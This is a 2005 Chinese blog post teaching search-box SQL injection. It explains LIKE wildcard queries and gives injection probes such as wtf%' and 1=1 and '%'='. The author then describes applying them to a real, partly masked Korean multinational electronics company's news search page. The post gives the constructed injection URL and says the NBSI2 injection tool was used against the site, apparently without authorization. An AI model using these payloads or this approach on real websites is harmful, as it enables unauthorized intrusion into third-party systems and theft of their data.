GOGO BLOG

GOGO

  DonewsBlog  |  Donews首页  |  Donews社区  |  Donews邮箱  |  我的首页  |  联系作者  |  聚合   |  登录
  157篇文章 :: 0篇收藏:: 112篇评论:: 3个Trackbacks

文章

收藏

相册

友情连接

存档


正在读取评论……


 搜索型注入成功搞定跨国电子公司

大家都知道,注入方式主要有数字型和字符型,但新手们常常忽略搜索型,因为搜索型在判断是否存在漏洞时要在搜索文本框中输入内容,然后再根据返回的页面内容来判断,比较烦琐。虽然NBSI2带有这种注入方式,但在打开页面的时候参数中一般是不带有搜索的参数的,怎么办呢?我的办法是手工改造它,然后再用NBSI2帮忙。

先给大家讲点前置知识,假如你只打算取出name记录,而且这些记录的名字必须以字母w打头,那么你就要用到下面的WHERE子句了:
SELECT name FROM Admin WHERE name LIKE 'w%'
如果想取出名字中包含字母w的,那么就要用到下面的WHERE 子句:
SELECT name FROM Admin WHERE name LIKE '%w%'
如果想取出名字共三个字符,第一个字母是w,第三个字母是f的记录,那么你就要用到下面的WHERE 子句:
SELECT name FROM Admin WHERE name LIKE 'w_f' (wtf也在其中,嘿)

小知识:百分比符号(%)的含义类似于DOS中的通配符“*”,代表多个字符;下划线符号(_)的含义类似于DOS中的通配符“?”,代表任意一个字符。

大家可能经常看到在搜索时让我们选择是完全匹配还是部分匹配,如果是完全匹配则语句如下:
SELECT name FROM Admin WHERE name LIKE ‘$keyword’
其中变量keyword表示我们在查询框中要输入的内容。如果是部分匹配:
SELECT name   FROM Admin WHERE name LIKE ‘%$keyword%’
如果这个变量keyword没有过滤我们就可以构造下面的语句:
1.完全匹配:如果我们输入“wtf’ and ‘1’=’1 ”就变成了如下语句:
SELECT name   FROM Admin WHERE name LIKE ‘wtf’ and ‘1’=’1’
如果我们输入“wtf’ and ‘1’=’2” 就变成了如下语句:
SELECT name   FROM Admin WHERE name LIKE ‘wtf’ and ‘1’=’2’
2.部分匹配:如果我们输入wtf%’ and 1=1 and ‘%’=’ 就变成了如下语句:
SELECT name   FROM Admin WHERE name LIKE ‘%wtf%’ and 1=1 and ‘%’=’%’
如果我们输入wtf%’ and 1=2 and ‘%’=’ 就变成了如下语句:
SELECT name   FROM Admin WHERE name LIKE ‘%wtf%’ and 1=2 and ‘%’=’%’
根据返回的页面内容是否相同就可以判断是否存在注入漏洞。

好,基本的东西介绍完了,我们来看看如何利用它!本文的目标是一个著名的韩国跨国电子公司,虽然它的程序是ASP.NET的,但却忽略了查询框的变量过滤,大家对比一下图1与图2就可以看出区别来。

如果在查询的文本框中不输入内容的话,查询的参数SC为空,这样利用NBSI2是扫描不出来的。根据图1和图2我们可以看出存在注入漏洞,这样我们构造一下注入地址:
http://notebook.***.com.cn/news/news.aspx?page=1&type=***&ST=title&SC=科技

NBSI2的注入分析结果。



Trackback: http://tb.donews.net/TrackBack.aspx?PostId=380403


[点击此处收藏本文]  发表于2005年05月14日 10:42 PM




正在读取评论……

发表评论

大名:
网址:
验证码
评论